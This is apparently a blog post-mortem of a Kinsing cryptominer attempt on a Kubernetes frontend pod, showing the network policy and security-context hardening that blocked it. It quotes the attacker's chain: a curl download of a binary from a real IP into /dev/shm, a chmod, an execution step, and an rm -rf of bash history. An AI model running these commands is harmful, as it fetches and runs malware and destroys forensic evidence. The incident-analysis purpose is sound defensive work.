Blog Field Notes Kinsing Hit the Cluster and the Security Contexts Held
Incident #kubernetes#security#malware#securitycontext#aks

Kinsing Hit the Cluster and the Security Contexts Held

Kinsing malware attempted to install a crypto miner on a Kubernetes pod. Read-only root filesystem and dropped capabilities blocked every step of the attack chain.

· Gideon Warui
ON THIS PAGE

Incident 787007. A Kubernetes pod in the <namespace> namespace triggered a security alert. The process was attempting:

/usr/bin/rm -rf /home/node/.bash_history

The pod was running the frontend — a Next.js application. It had no reason to be touching bash history files. Investigation confirmed Kinsing — a well-documented container cryptominer that uses a standard attack chain: probe the filesystem, download a binary to /dev/shm, make it executable, run it.

The attack failed at step two. Here is why.


Environment

ComponentDetail
ClusterAKS (<cluster>), West Europe
Affected pod<core-system>-frontend, namespace <namespace>
Imagenode:18-debian base (at the time of incident)
Security contextsApplied post-incident to production; partially applied to dev

What Kinsing tried to do

The standard Kinsing execution chain:

# Step 1: Download the binary
curl -o /dev/shm/kinsing http://78.153.140.16/kinsing

# Step 2: Make it executable
chmod +x /dev/shm/kinsing

# Step 3: Execute
/dev/shm/kinsing

/dev/shm is an in-memory tmpfs mount that exists in every Linux container by default. Malware targets it specifically because:

  • It’s writable even when the root filesystem is read-only
  • Files there are executable
  • It doesn’t persist to disk, leaving no forensic trace after pod deletion

What stopped it

The pod had readOnlyRootFilesystem: true in its security context. That doesn’t automatically cover /dev/shm — that mount is separate. But the attack was blocked at the download step for a different reason: the Network Policy had no outbound internet access for the frontend pod.

# frontend network policy — egress
egress:
  - to:
      - namespaceSelector:
          matchLabels:
            kubernetes.io/metadata.name: kube-system
    ports:
      - protocol: UDP
        port: 53
  - to:
      - podSelector:
          matchLabels:
            app: <core-system>-backend
    ports:
      - protocol: TCP
        port: 3000

DNS resolution and backend communication only. curl http://78.153.140.16/kinsing had no route. The binary was never downloaded.

Verification after the alert:

kubectl exec <core-system>-frontend-xxx -n <namespace> -- touch /test
# touch: cannot touch '/test': Read-only file system

kubectl exec <core-system>-frontend-xxx -n <namespace> -- id
# uid=1000(node) gid=1000(node) groups=1000(node)

The container was running as UID 1000 with a read-only root filesystem. Even if the network policy hadn’t blocked the download, writing to the root filesystem would have failed.


The security context configuration

What was applied after the incident to harden both dev and prod:

# Pod-level — applies to all containers
spec:
  securityContext:
    runAsNonRoot: true
    runAsUser: 1000
    runAsGroup: 1000
    fsGroup: 1000
    seccompProfile:
      type: RuntimeDefault

  containers:
    - name: <core-system>-frontend
      securityContext:
        allowPrivilegeEscalation: false
        runAsNonRoot: true
        runAsUser: 1000
        readOnlyRootFilesystem: true
        capabilities:
          drop:
            - ALL

readOnlyRootFilesystem: true at the container level is what matters most. It makes the root filesystem immutable — the container process can read from it but cannot write to it. Any attempt to drop a file, modify a binary, or install anything fails immediately.

The tradeoff is that legitimate writable paths need to be explicitly mounted as volumes:

volumeMounts:
  - name: tmp
    mountPath: /tmp
  - name: nextjs-cache
    mountPath: /app/.next/cache
  - name: npm-cache
    mountPath: /.npm

volumes:
  - name: tmp
    emptyDir:
      sizeLimit: 100Mi
  - name: nextjs-cache
    emptyDir:
      sizeLimit: 500Mi
  - name: npm-cache
    emptyDir:
      sizeLimit: 100Mi

These are emptyDir volumes — ephemeral, per-pod, destroyed when the pod exits. They give the application the writable scratch space it needs without opening the root filesystem.


What the attack matrix looks like after hardening

Attack vectorBeforeAfter
Write binary to /dev/shmPossibleBlocked — no outbound network
Write binary to root filesystemPossibleBlocked — readOnlyRootFilesystem: true
chmod +x on any filePossibleBlocked — capabilities.drop: [ALL] removes CAP_DAC_OVERRIDE
Execute as rootPossibleBlocked — runAsNonRoot: true
Escalate privilegesPossibleBlocked — allowPrivilegeEscalation: false
Kernel exploit via syscallPossibleMitigated — seccompProfile: RuntimeDefault

After the incident

The compromised node (<node>) was cordoned, drained, and deleted. A fresh node was provisioned. All pods were redeployed from clean images.

The image was also rebuilt on an Alpine base (node:20-alpine) which removes wget, curl, and the full Debian toolchain from the container — eliminating the download tools Kinsing would need even if it bypassed the network policy.

FROM node:20-alpine AS runner
# No wget, no curl, no package manager toolchain

The combination — restrictive Network Policy, read-only filesystem, non-root user, dropped capabilities, minimal base image — means an attacker who somehow gets code execution has nowhere to go. They can’t write files, can’t escalate, can’t reach outbound infrastructure.


What the alert was actually detecting

The rm -rf /home/node/.bash_history attempt was not a successful attack. It was the attacker’s cleanup routine running — after failing to install anything. The security controls had already blocked the payload. The alert was a detection of the attacker’s noise, not a breach.

That distinction matters: an alert is not always evidence of impact. In this case, the security posture held and the alert was the proof.

#kubernetes#security#malware#securitycontext#aks